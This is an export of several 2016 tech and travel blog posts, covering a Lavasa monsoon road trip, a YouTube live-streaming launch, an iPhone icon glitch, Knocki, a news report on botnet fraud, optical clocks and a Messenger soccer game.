<span style="font-size: large;"><br /></span> <span style="font-size: large;">So, this time my family and I decided to enjoy the rainy season by making a roadtrip to Lavasa, Pune. The best time to visit Lavasa is during the monsoon season because of the pleasant weather that allows the exploration of natural wildlife and waterfalls located in the region. It takes a little more than three hours of driving, to reach Lavasa through the beautiful Mumbai- Pune express road. The distance between Lavasa and Mumbai is almost 195 km. This can be one of the best drives in the country during the monsoons.</span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">We started around 7 a.m. in the morning to beat the Mumbai traffic. After successfully avoiding the Mumbai city traffic, we hit the beautifully made Mumbai- Pune expressway road. It was lovely to watch greenery on both sides of the road with rain falling on our car. Not to forget, the small rainwater streams flowing from the rocks made a perfect view. </span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">Once done, we started with the remaining journey to be again mesmerized with the scenic beauty on either sides of the road. Finally, we reached Pune as the journey was smooth. It hardly takes any time to go via Chandni chowk to Pirangut to Lavasa through mountains & breath-taking valleys. The road is well maintained. </span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">Such a road trip can never be complete without some hot snacks. So, we decided to stop over at the Food Court for breakfast. We ordered hot piping tea, onion poha, wada pav and misal pav to blend it with the lovely monsoon. We couldn’t have asked for a much better and typical monsoon breakfast. Burp! Oops. </span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">As we were nearing lunch time, we decided to visit one of the restaurants named Ekaant for stomachful vegetarian lunch. Once done, we decided to visit Lakeshore to just see the beautiful lake flowing by with rains in the background. It was 5 p.m. Time to head home. A day well spent in monsoon and remembered.</span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">We reached Lavasa by 11.30 a.m. Lavasa is a private, planned city being built in the Pune district of Maharashtra. It is stylistically based on the Italian town Portofino, with a street and several buildings bearing the name of the town. One can do adventurous activities like mountain climbing, hiking and trekking. The popular attractions here include the Lakeshore, which offers opportunities of adventure sports like boating, cruises and jet skiing. Also, Lavasa is home to premium hotels that overlooks the lake. There are quite a few good eateries around that one and go and visit.</span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">If you are staying far from Lavasa, you can also look up Domestic Airlines and book your desired flight to Pune or Mumbai and book a cab to enjoy a road trip to Lavasa.</span><br />
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-24858829568820291232016-06-26T13:13:00.001+05:302016-06-26T13:13:18.908+05:30YouTube testing live mobile streaming with select publishers<div dir="ltr" style="text-align: left;" trbidi="on">
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You will soon be able to live mobile stream on YouTube</h2>
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As the world is making the transition to consuming more video content, tech giants have been trying to power on the ‘livestreaming trend’ too. And, it looks like YouTube is following the trend too.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUxgQmgt4TbhLrlV6KAS-X3RnD3GoBOvhGAERlOYiKTIeoCJf2ru0laZ_7V6KcKWb95S8AyYxlK6C3itchQT5X18yy8zMP2Nr4EvDLW8pVUpJ-EwhgA0yMcYSMaedtkzop49Z9J9vb62m_/s1600/YouTube-Livestreaming-hed-796x398.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="You will soon be able to live mobile stream on YouTube" border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUxgQmgt4TbhLrlV6KAS-X3RnD3GoBOvhGAERlOYiKTIeoCJf2ru0laZ_7V6KcKWb95S8AyYxlK6C3itchQT5X18yy8zMP2Nr4EvDLW8pVUpJ-EwhgA0yMcYSMaedtkzop49Z9J9vb62m_/s400/YouTube-Livestreaming-hed-796x398.jpg" title="You will soon be able to live mobile stream on YouTube" width="400" /></a></div>
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YouTube announced on its <a data-mce-href="http://youtubecreator.blogspot.jp/2016/06/well-do-it-livea-new-chapter-in.html" href="http://youtubecreator.blogspot.jp/2016/06/well-do-it-livea-new-chapter-in.html" target="_blank">blogpost</a> on Friday that it’s new ‘mobile live streaming’ feature that will be baked right into the core YouTube mobile app.</div>
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“We are announcing a new chapter in bringing the power of live video to creators everywhere. Soon, we’ll be putting the power of YouTube live streaming in the palm of your hands. You won’t need to open anything else, just hit the big red capture button right there in the corner, take or select a photo to use as a thumbnail, and you can broadcast live to your fans and chat in near real time.”</div>
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The blogpost further states that “We’ve been offering live streaming on YouTube since 2011, before it was cool. Millions of people around the world tuned in to watch the Royal Wedding in 2011. One-sixth of the Internet watched Felix Baumgartner leap from space live on YouTube in 2012.”</div>
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It also claims to be the first to ever broadcast a 360-degree live stream during Coachella. “Over 21 million people tuned in to watch Coachella on YouTube this year” states the blogpost.</div>
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The feature will work similar to Facebook Live and Periscope, with streamers having the ability to see live comments from viewers. However, YouTube's live streaming will take advantage of the company's live streaming infrastructure, which it has been enhancing since its debut in 2011. The live broadcast interface also includes a viewer count, a like count, and a button to switch between the front and rear cameras. You can also take a photo before you begin your live stream to add it as a banner for your broadcast.</div>
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YouTube notes that as mobile live streaming is built right into the YouTube app, it will have all the features regular videos have — “you’ll be able to search for them, find them through recommendations and playlists and protect them from unauthorized uses.”</div>
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Facebook too has been offering Live video streaming for select publishers and just two days ago Tumblr announced its own ‘Live Video’ integration. It will be interesting to see how YouTube’s mobile live streaming fares and when it is made available to the public. On the other hand, YouTube claims that when this feature is rolled out, it will be faster and more reliable than any other live streaming product out there.</div>
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Launching today at VidCon, live streaming will be available for select YouTube publishers - The Young Turks, AIB, Platica Polinesia, SacconeJolys, and Alex Wassabi. However, it promises to roll it out to all users in the near future.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com2tag:blogger.com,1999:blog-1778979857251896130.post-32193807576422667382016-06-18T12:37:00.001+05:302016-06-18T12:37:07.812+05:30iPhone icons can be changed from squares to circles thanks to hack<div dir="ltr" style="text-align: left;" trbidi="on">
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iOS glitch lets you change your iPhone icons from squares to circles without jailbreaking</h1>
If you want to play around with your iPhone and are bored of the appearance of the apps on your smartphone, then here is a neat little trick that you can use to your advantage. While this new trick might not be as useful as an Android widget or let you personalize your phone anywhere to the extent of a new theme, for iOS users it is actually quite a major change.<br />
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<a href="http://www.techworm.net/wp-content/uploads/2016/05/iPhone-icons.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://www.techworm.net/wp-content/uploads/2016/05/iPhone-icons.jpg" height="174" width="320" /></a></div>
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It involves a way to alter the shape of the icons on iPhone thanks to a glitch that affects any device running the latest version of Apple’s mobile platform.<br />
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If you view the video shown above, you will be able to see that the glitch allows users to change the current curved squares to full circles. Fortunately, there is no need to perform that tedious jailbreak process and it only takes a few minutes to complete. All that is required is to find a very small image, for example, one that measures at 3 x 3 pixels will suffice, and upload it as your wallpaper, which can be done by going to Settings > Wallpaper > Choose a New Wallpaper > Camera Roll and select the image from there.<br />
While this could just be another glitch thanks to Apple not looking out for certain things, it is nice to see that a glitch actually works in your favor. News has probably reached Apple by now and their developers are probably working round the clock to deliver the fix.<br />
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-27895689339057917882016-06-18T12:32:00.003+05:302016-06-18T12:32:56.403+05:30Device that will make any flat surface 'smart' reaches funding in an hour<div dir="ltr" style="text-align: left;" trbidi="on">
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This device which will make any flat surface 'smart' has taken Kickstarter by storm</h1>
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The era of smart devices is upon us and Kickstarter is the place to be when you want to fund your dream. Turns out that a device by the name of Knocki is able to transform a regular surface into a smart surface and what’s more is that their Kickstarter campaign was a huge success. The team behind Knocki has managed to raise $35,000 in just 60 minutes and according to Engadget, they were able to accumulate a total of $136,000.</div>
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According to the brains behind Knocki, the device can turn any surface into a controller for various gadgets and smart devices in your home. For example, if a Knocki is attached to a table, a countertop or a wall, it can recognize up to 10 unique tapping and knocking patterns.</div>
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For instance, three quick knocks on the wall could switch on the lights, while two could activate the thermostat and a couple of slow taps on the bedside table could activate the coffeemaker while still snoozing in bed, and wake up with a completely fresh cup of your favorite coffee. </div>
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Moreover, a knock on your door could send you a text message that someone has visited your home.</div>
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The device uses non-acoustic sensor technology, so it doesn’t get confused with random sounds. According to the creators, the device is quite sophisticated because it can differentiate between random vibrations and deliberate knocks.</div>
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Knocki works with Nest, Philips Hue, Wemo, Samsung Smartthings as well as applications like Spotify and Gmail. If your home does not fit the category of a smart home, it can still effortlessly control phones and other Wi-Fi connected appliances ranging from speakers and alarm clocks. The sensor carries a price tag of $69 and if everything goes according to plan, Knocki will soon be present in the household of a gadget lover during the month of December.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-23061990312765712482016-06-18T12:29:00.002+05:302016-06-18T12:29:45.537+05:30Cybercriminals using botnets that imitate humans to access user accounts<div dir="ltr" style="text-align: left;" trbidi="on">
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Botnets that imitate humans are used by cybercriminals to gain access to accounts</h2>
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According to Britain's National Crime Agency (NCA), cybercriminals are making use of more and more advanced botnet attacks in order to carry out attacks on online banking and shopping accounts. Fraudsters after purchasing stolen details on the dark web have begun using huge automated attacks to confirm usernames and passwords, permitting them to access accounts.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz4jQM0XYYMWGjGpV_ozWx8_DuGBz33cdU6CCxq0eOZhafh2BqENbiMs7TBsAwL-b75Gmj0Ae_cNG4BndVQR0E6wSar5m2cD-RZMIAsv-x_NkoI1oLJl6WOjBYt3NBriK9BJu-Tzu0wEEm/s1600/bot.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Botnets that imitate humans are used by cybercriminals to gain access to accounts According to Britain's National Crime Agency (NCA), cybercriminals are making use of more and more advanced botnet attacks in order to carry out attacks on online banking and shopping accounts. Fraudsters after purchasing stolen details on the dark web have begun using huge automated attacks to confirm usernames and passwords, permitting them to access accounts. The top dangers include Remote Access Trojans (RATS), which is targeted at individual as well as company finances. Intended to look like authentic software, they let people to distantly observe and take control of another computer, getting access to confidential files and information. During hacking attacks, Distributed denial of service (Ddos) attacks targeted at closing down or deactivating online functions were also widespread. Speaking to The Times newspaper, an NCA spokesman said, "These style of attacks can also attempt to mimic human-user behaviour, making them much more difficult to detect.” Further, in a statement last month, Vanita Pandey, a Vice President at the cybersecurity company ThreatMetrix said, "Fraudsters can create pitch-perfect attacks because they know so much about us." The company, which validates transactions on behalf of 4,000 customers across the world, found that attacks when compared to last year had increased by three folds to 264 million in the first quarter of 2016. Adding that the attacks are basically difficult to find out, as they are not always selected by traditional measures, Pandey said, "Our normal lines of defence just aren't working.” Along with sophisticated attacks, ThreatMetrix, which examines one billion transactions each month, reported that online businesses were unintentionally offering means to anonymously test stolen payment records, referring to the example of "a series of $5 payments made with stolen credit cards targeting the charity sector". The blunt forewarnings comes in the wake of numerous high-profile cyberattacks on British companies in the last year. Telecoms giant TalkTalk suffered a security breach in November 2015, which revealed the personal information of more than 150,000 customers. Prior to that, nearly 2,000 customer accounts of Vodafone users had been gained access to by the hackers, possibly offering criminals with customers' names, the last four digits of their bank accounts, mobile numbers, and bank sort codes. In early 2015, hackers attacked Carphone Warehouse with online traffic as a smokescreen while they stole the personal and banking details of 2.4 million people. A study of investigations concerning the NCA's National Cyber Crime Unit over 2015 found the average age of suspects to be 17, in spite of an apparent increase in the number of crimes. Majority of young people and their parents are unaware as to what creates a cybercrime or the consequences of getting involved in it, pointed out the agency commissioned by the research. Speaking at the launch of the #CyberChoices campaign in December 2015 Richard Jones, Head of the National Cyber Crime Unit's Prevent team said: "We know that simply criminalising young people cannot be the solution to this and so the campaign seeks to help motivate children to use their skills more positively." He added: These individuals are really bright and have real potential to go on to exciting and fulfilling jobs. But by choosing the criminal path they can move from low level 'pranking' to higher level cybercrime quite quickly, sometimes without even considering that what they're doing is against the law."" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz4jQM0XYYMWGjGpV_ozWx8_DuGBz33cdU6CCxq0eOZhafh2BqENbiMs7TBsAwL-b75Gmj0Ae_cNG4BndVQR0E6wSar5m2cD-RZMIAsv-x_NkoI1oLJl6WOjBYt3NBriK9BJu-Tzu0wEEm/s1600/bot.jpg" title="Botnets that imitate humans are used by cybercriminals to gain access to accounts According to Britain's National Crime Agency (NCA), cybercriminals are making use of more and more advanced botnet attacks in order to carry out attacks on online banking and shopping accounts. Fraudsters after purchasing stolen details on the dark web have begun using huge automated attacks to confirm usernames and passwords, permitting them to access accounts. The top dangers include Remote Access Trojans (RATS), which is targeted at individual as well as company finances. Intended to look like authentic software, they let people to distantly observe and take control of another computer, getting access to confidential files and information. During hacking attacks, Distributed denial of service (Ddos) attacks targeted at closing down or deactivating online functions were also widespread. Speaking to The Times newspaper, an NCA spokesman said, "These style of attacks can also attempt to mimic human-user behaviour, making them much more difficult to detect.” Further, in a statement last month, Vanita Pandey, a Vice President at the cybersecurity company ThreatMetrix said, "Fraudsters can create pitch-perfect attacks because they know so much about us." The company, which validates transactions on behalf of 4,000 customers across the world, found that attacks when compared to last year had increased by three folds to 264 million in the first quarter of 2016. Adding that the attacks are basically difficult to find out, as they are not always selected by traditional measures, Pandey said, "Our normal lines of defence just aren't working.” Along with sophisticated attacks, ThreatMetrix, which examines one billion transactions each month, reported that online businesses were unintentionally offering means to anonymously test stolen payment records, referring to the example of "a series of $5 payments made with stolen credit cards targeting the charity sector". The blunt forewarnings comes in the wake of numerous high-profile cyberattacks on British companies in the last year. Telecoms giant TalkTalk suffered a security breach in November 2015, which revealed the personal information of more than 150,000 customers. Prior to that, nearly 2,000 customer accounts of Vodafone users had been gained access to by the hackers, possibly offering criminals with customers' names, the last four digits of their bank accounts, mobile numbers, and bank sort codes. In early 2015, hackers attacked Carphone Warehouse with online traffic as a smokescreen while they stole the personal and banking details of 2.4 million people. A study of investigations concerning the NCA's National Cyber Crime Unit over 2015 found the average age of suspects to be 17, in spite of an apparent increase in the number of crimes. Majority of young people and their parents are unaware as to what creates a cybercrime or the consequences of getting involved in it, pointed out the agency commissioned by the research. Speaking at the launch of the #CyberChoices campaign in December 2015 Richard Jones, Head of the National Cyber Crime Unit's Prevent team said: "We know that simply criminalising young people cannot be the solution to this and so the campaign seeks to help motivate children to use their skills more positively." He added: These individuals are really bright and have real potential to go on to exciting and fulfilling jobs. But by choosing the criminal path they can move from low level 'pranking' to higher level cybercrime quite quickly, sometimes without even considering that what they're doing is against the law."" /></a></div>
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The top dangers include Remote Access Trojans (RATS), which is targeted at individual as well as company finances. Intended to look like authentic software, they let people to distantly observe and take control of another computer, getting access to confidential files and information.</div>
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During hacking attacks, Distributed denial of service (Ddos) attacks targeted at closing down or deactivating online functions were also widespread.</div>
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Speaking to <a data-mce-href="http://www.thetimes.co.uk/article/cyberbots-mimic-human-behaviour-to-access-millions-of-online-accounts-hkh86fxjf" href="http://www.thetimes.co.uk/article/cyberbots-mimic-human-behaviour-to-access-millions-of-online-accounts-hkh86fxjf" target="_blank">The Times</a> newspaper, an NCA spokesman said, "These style of attacks can also attempt to mimic human-user behaviour, making them much more difficult to detect.”</div>
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Further, in a statement last month, Vanita Pandey, a Vice President at the cybersecurity company <a data-mce-href="https://www.threatmetrix.com/cybercrime-report-q1-2016/" href="https://www.threatmetrix.com/cybercrime-report-q1-2016/" target="_blank">ThreatMetrix</a> said, "Fraudsters can create pitch-perfect attacks because they know so much about us."</div>
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The company, which validates transactions on behalf of 4,000 customers across the world, found that attacks when compared to last year had increased by three folds to 264 million in the first quarter of 2016.</div>
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Adding that the attacks are basically difficult to find out, as they are not always selected by traditional measures, Pandey said, "Our normal lines of defence just aren't working.”</div>
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Along with sophisticated attacks, ThreatMetrix, which examines one billion transactions each month, reported that online businesses were unintentionally offering means to anonymously test stolen payment records, referring to the example of "a series of $5 payments made with stolen credit cards targeting the charity sector".</div>
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The blunt forewarnings comes in the wake of numerous high-profile cyberattacks on British companies in the last year.</div>
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Telecoms giant TalkTalk suffered a security breach in November 2015, which revealed the personal information of more than 150,000 customers.</div>
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Prior to that, nearly 2,000 customer accounts of Vodafone users had been gained access to by the hackers, possibly offering criminals with customers' names, the last four digits of their bank accounts, mobile numbers, and bank sort codes.</div>
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In early 2015, hackers attacked Carphone Warehouse with online traffic as a smokescreen while they stole the personal and banking details of 2.4 million people.</div>
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A study of investigations concerning the NCA's National Cyber Crime Unit over 2015 found the average age of suspects to be 17, in spite of an apparent increase in the number of crimes.</div>
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Majority of young people and their parents are unaware as to what creates a cybercrime or the consequences of getting involved in it, pointed out the agency commissioned by the research.</div>
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Speaking at the launch of the #CyberChoices campaign in December 2015 Richard Jones, Head of the National Cyber Crime Unit's Prevent team said: "We know that simply criminalising young people cannot be the solution to this and so the campaign seeks to help motivate children to use their skills more positively."</div>
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He added: These individuals are really bright and have real potential to go on to exciting and fulfilling jobs. But by choosing the criminal path they can move from low level 'pranking' to higher level cybercrime quite quickly, sometimes without even considering that what they're doing is against the law."</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-65391741945951662562016-06-18T12:24:00.002+05:302016-06-18T12:24:37.516+05:30Warning: Taking a selfie with a walrus will get you killed<div dir="ltr" style="text-align: left;" trbidi="on">
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Man Dares to Take Selfie With Walrus, Gets Killed!</h1>
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As the usage of smartphones get bigger and bigger, it seems that selfie addicts have started to appear dumber than before. One incident took place in China involved a man who took a selfie with a walrus and that same walrus ended up killing him.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYNZz1sZp5T25FGi2TN2QRYnqdTUaGEUTRZDbFNu1dok0vVunatvCw1BeW79wCpAZCeHPq-pfdeigFTE85L9gYcujff8_iFZn6uKOI9-0C5Igp4U33uDX_Mct3Qp5A1A9RlAPisyp3BiF4/s1600/walrus+selfie.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Man Dares to Take Selfie With Walrus, Gets Killed!" border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYNZz1sZp5T25FGi2TN2QRYnqdTUaGEUTRZDbFNu1dok0vVunatvCw1BeW79wCpAZCeHPq-pfdeigFTE85L9gYcujff8_iFZn6uKOI9-0C5Igp4U33uDX_Mct3Qp5A1A9RlAPisyp3BiF4/s320/walrus+selfie.jpg" title="Man Dares to Take Selfie With Walrus, Gets Killed!" width="320" /></a></div>
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According to local media reports, a man went to the Yeshanko Wildlife Zoo in the Liaoning province where he took a selfie with a walrus. He reportedly took some video as well which he posted to WeChat while he was present there.</div>
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After the man had taken some selfies with the animal, the walrus probably had the impression that the individual was using a lethal weapon on him, so it grabbed the man from the back and threw him into the pool. The man eventually drowned and even the efforts of the zookeeper who had been working there for more than decade failed the save the life of the man. It has been reported that the zookeeper had died as well.</div>
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It’s currently unclear why visitors would be given this level of access to animals that can weigh upwards of a ton. However, the death of the man did not go unpaid as his family has been given a compensation of a hefty $137,000. It has not been confirmed if the zookeeper’s family received the compensation or not, but our personal view is that if stupid acts will result in imminent deaths, then easy payments like these should not be handed to the family at all.</div>
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Instead, the death should be viewed as a lesson not to take a torrent of selfies with animals which possess a threat such as a walrus.</div>
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<a data-mce-href="http://www.cnet.com/news/man-killed-by-walrus-he-took-a-selfie-with-report-says/" href="http://www.cnet.com/news/man-killed-by-walrus-he-took-a-selfie-with-report-says/">CNET</a></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-43688023467413306202016-06-18T12:21:00.000+05:302016-06-18T12:21:09.226+05:30German researchers create world's most accurate optical watch<div dir="ltr" style="text-align: left;" trbidi="on">
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This optical watch created by German researchers is said to have only 100 seconds error</h2>
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The time you and I follow is based on atomic clock system. The world time is kept through 400 such atomic clocks all over the world linked to each other through satellite. This system has been place for a considerable time now ever since it replaced astronomical-based clocks. However, this system is also criticized for being imprecise. So recently, German researchers have come up with an idea of using optical clocks for more precise timekeeping.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIpGQErjL2EGaJTVJ8_qFhezsf1aEcLLv-cDGsi6Htu3Ab9W5c8h3BcNLanC63mCHdeZMVS_eifc-druRx7y1cHxOMrtEomzeEd_uwKFYRiLchYNcDvp7A6VOiE2KPaG-FJ4u-3DVxRMA1/s1600/watch.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="This optical watch created by German researchers is said to have only 100 seconds error" border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIpGQErjL2EGaJTVJ8_qFhezsf1aEcLLv-cDGsi6Htu3Ab9W5c8h3BcNLanC63mCHdeZMVS_eifc-druRx7y1cHxOMrtEomzeEd_uwKFYRiLchYNcDvp7A6VOiE2KPaG-FJ4u-3DVxRMA1/s400/watch.jpg" title="This optical watch created by German researchers is said to have only 100 seconds error" width="400" /></a></div>
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A team of German researchers namely, Christian Grebing, Ali Al-Masoudi, Sören Dörscher, Sebastian Häfner, Vladislav Gerginov, Stefan Weyers, Burghard Lipphardt, Fritz Riehle, Uwe Sterr, and Christian Lisdat have now developed a optical clock which is said to be most precise watch in the world.</div>
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The researchers have their <a data-mce-href="http://dx.doi.org/10.1364/optica.3.000563" href="http://dx.doi.org/10.1364/optica.3.000563" target="_blank">paper published in the journal Optica</a>. According to the researchers, keeps time so well that if it had started 14 billion years ago at the Big Bang it would have lost just 100 seconds. The new clock system when completely build may take over the atomic clocks system that we have been following for past half century as our standard timekeepers.</div>
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"These are fairly complex systems with dozens of lasers that need to be frequency locked at the same time, and they simply break sometimes", said Christian Grebing, author of the new study and a scientist at Physikalisch-Technische Bundesanstalt in Braunschweig, Germany.</div>
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The clocks we use today work by measuring atomic oscillations. But as said above, these can go wrong with about one nanosecond over a month which can lead to many fatal consequences.</div>
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You might be thinking, how much this small fluctuation of seconds could be a trouble. Modern day gadgets right from telecom equipment, Power grids and GPS systems and the Internet to flight plans are set up on the atomic time. So a error can lead to grave consequences.</div>
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The way time is measured is still based on the idea of a pendulum, except atomic clocks measure the natural, regular back-and-forth movement of an atom of caesium.</div>
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The new optical watch created by German researchers has a similar pendulum construct but it uses strontium atoms, which “tick” much faster than caesium. And they do so in the optical, rather than the microwave, part of the spectrum given that much more accurate timing.</div>
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Optical clocks use atoms or ions that oscillate about 100,000 times higher than microwave frequencies used in atomic clocks. In other words, they are much faster and stable.</div>
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The German researchers are presently testing the results in lab conditions so the atomic clocks used currently may not be hurriedly replaced. However, once the testing is done, we may have a new more accurate watch thanks to the German team.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-87744513106135461932016-06-18T12:06:00.003+05:302016-06-18T12:06:43.112+05:30Play Football with hidden soccer game in Facebook Messenger<div dir="ltr" style="text-align: left;" trbidi="on">
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Lo and Behold : Facebook Messenger Has a Hidden Soccer Game</h2>
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If you are a football aficionado you may already glued to your TV sets enjoying the EURO 2016. Unknown to you and us, Facebook has slipped in a new soccer game in its Facebook Messenger App. The new hidden game is now available in Facebook Messenger on <a data-mce-href="https://itunes.apple.com/en/app/messenger/id454638411?mt=8" href="https://itunes.apple.com/en/app/messenger/id454638411?mt=8">iOS</a> and <a data-mce-href="https://play.google.com/store/apps/details?id=com.facebook.orca" href="https://play.google.com/store/apps/details?id=com.facebook.orca">Android</a>.</div>
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Like the earlier <a data-mce-href="http://www.techworm.net/2016/02/here-is-how-to-unlock-hidden-chess-game-in-facebook-messenger.html" href="http://www.techworm.net/2016/02/here-is-how-to-unlock-hidden-chess-game-in-facebook-messenger.html" target="_blank">hidden Chess game</a>, the hidden soccer game is also relatively easy to play. You simply need to start a conversation with your friend or another football fan and send a football emoji to a friend. After you tap on the football emoji, the game starts automatically.</div>
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<img alt="Lo and Behold : Facebook Messenger Has a Hidden Soccer Game" class="aligncenter wp-image-43251 size-medium" data-mce-src="http://www.techworm.net/wp-content/uploads/2016/06/football-1-169x300.jpg" height="300" src="http://www.techworm.net/wp-content/uploads/2016/06/football-1-169x300.jpg" style="display: block; height: auto; margin-left: auto; margin-right: auto; max-width: 100%;" width="169" /></div>
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Remember, you can only view the football emoji and play the soccer game if you have updated your FB Messenger to latest version. The game allows you to do kick-ups in order to keep the ball in the air and prevent it from hitting the ground. Though the game looks pretty easy, it is hard to keep the ball in air.</div>
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The game records your current best score and displays emojis in the background, each time you tap on the screen. It also takes into consideration if you’ve tapped directly in the center of the ball or on the side, which makes it bounce in different directions on the screen.</div>
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When the score exceeds 10, the game adds some distractions. The interface is simple, there aren’t many things that you can do inside the game, but the whole experience is equally annoying and addictive.</div>
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Facebook has released the game in time for Euro 2016 to target all the football lovers from Europe, Asia and other places. With Copa America Centenario 2016 to be held in future, the game may be a super pasttime when the teams head for a break.</div>
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Anonymoushttp://www.blogger.com/profile/06333293041939870794noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-2214096651303230722016-01-17T21:03:00.001+05:302016-01-17T21:03:25.496+05:30Best Engineering Education Avenues: Study of top BTech colleges in India<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">To be an engineer is everybody's dream. Consecutively engineering education is one of the best growing businesses in the current Indian scenario with India emerging as the largest producers of engineers each year. A study shows that 85% of 16 -18 olds have shown interest in pursuing engineering stream. </span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid-nGc3XzvWeFcq_cmSfGd1KUgnXJJjwrbJtbDkGW4_En-k7VIxpS8E-X4Wry2ZoOkoZQk2nUAOoA8ym5TbaE7K_3TyTwzDhvQq5QCXhuLRRHzUF1w0Jte1iA6ONKKvLXF5jJA-CfPPvRr/s1600/VIT1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Best Engineering Education Avenues: Study of top BTech colleges in India" border="0" height="174" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid-nGc3XzvWeFcq_cmSfGd1KUgnXJJjwrbJtbDkGW4_En-k7VIxpS8E-X4Wry2ZoOkoZQk2nUAOoA8ym5TbaE7K_3TyTwzDhvQq5QCXhuLRRHzUF1w0Jte1iA6ONKKvLXF5jJA-CfPPvRr/s640/VIT1.jpg" title="Best Engineering Education Avenues: Study of top BTech colleges in India" width="640" /></a></div>
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<span style="font-size: large;">Engineering education is the activity of teaching knowledge and principles related to the professional practice of engineering. It includes the initial education for becoming an engineer and any advanced education and specializations that follow. Engineering education is typically accompanied by additional examinations and supervised training as the requirements for a professional engineering license.</span></div>
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<span style="font-size: large;">In India, there are several engineering colleges imparting undergraduate and graduate courses in engineering, applied engineering and sciences. The Indian Institutes of Technology (IITs), the National Institutes of Technology (NITs), <a href="https://www.annauniv.edu/" target="_blank">Anna University Chennai</a>, Birla Institute of Technology and Science, the Indian School of Mines, (Now IIT Dhanbad), <a href="http://www.gtu.ac.in/" target="_blank">Gujarat Technological University Ahmedabad</a>, the <a href="http://www.vit.ac.in/" target="_blank">VIT University</a> and University of Mumbai are the renowned and reputed institutes in the country. In total, more than 5000 universities and colleges offer engineering courses.</span></div>
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<span style="font-size: large;">Let’s have a look at the three <a href="http://collegedunia.com/btech-colleges" target="_blank">top BTech colleges in India</a>:</span></div>
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<span style="font-size: large;">1.<span class="Apple-tab-span" style="white-space: pre;"> </span>Indian Institute of Technology, Delhi (IIT Delhi or IITD)</span></div>
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<span style="font-size: large;">IIT Delhi is one of the two educational institutes in India which have been listed in Quacquarelli Symonds’(QS) list of top 200 universities globally in 2015. IIT Delhi conducts various programs including bachelors, post-graduate and PhD degrees. </span></div>
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<span style="font-size: large;">2.<span class="Apple-tab-span" style="white-space: pre;"> </span>Indian Institute of Technology, IIT Bombay or IITB </span></div>
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<span style="font-size: large;">IIT Bombay, which is the second-oldest institute offers a wide variety of courses of study in engineering, pure sciences, design, management and humanities with a primary focus on engineering. IIT Bombay awards degrees, BTech, MTech, Dual Degree (B.Tech and M.Tech), Master Mgmt, M.Sc. and PhD. </span></div>
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<span style="font-size: large;">3.<span class="Apple-tab-span" style="white-space: pre;"> </span>Indian Institute of Technology, (IIT Kharagpur)</span></div>
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<span style="font-size: large;">IIT Kharagpur or IIT KGP was the first of the IITs to be established conducts various programs including Bachelor, Dual Degree (B.Tech and M.Tech), Master Mgmt, M.Sc. and PhD. </span></div>
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<span style="font-size: large;">Ironically, with so many top engineering colleges in India, only a small percentage of those who ‘pass out’ from engineering colleges do possess any skills worth the name at all. The engineers produced by the huge number of private engineering colleges which have come up after the government sanction for them add up only by way of numbers, in the absence of sound infrastructure, well qualified staff and no emphasis on imparting quality education.</span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-36763235146701176652016-01-04T22:25:00.001+05:302016-01-04T22:30:18.013+05:30PSN down in first major outage of 2016 and no one knows why<div dir="ltr" style="text-align: left;" trbidi="on">
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PSN down as gamers take to social media with complaints</h2>
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<span style="background-color: white; color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 16px; line-height: 24px;">PlayStation Network today suffered the first outage of 2016 even as angry fans took to Twitter and Facebook to express their frustration at not being able to either login or play games online. The PSN went down exactly at 11.15 am EST and for past half an hour the hashtag #PSNDown on Twitter is filled with angry tweets from the gamers.</span><br />
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<span style="background-color: white; color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 16px; line-height: 24px;">One reader posted the following :</span><br />
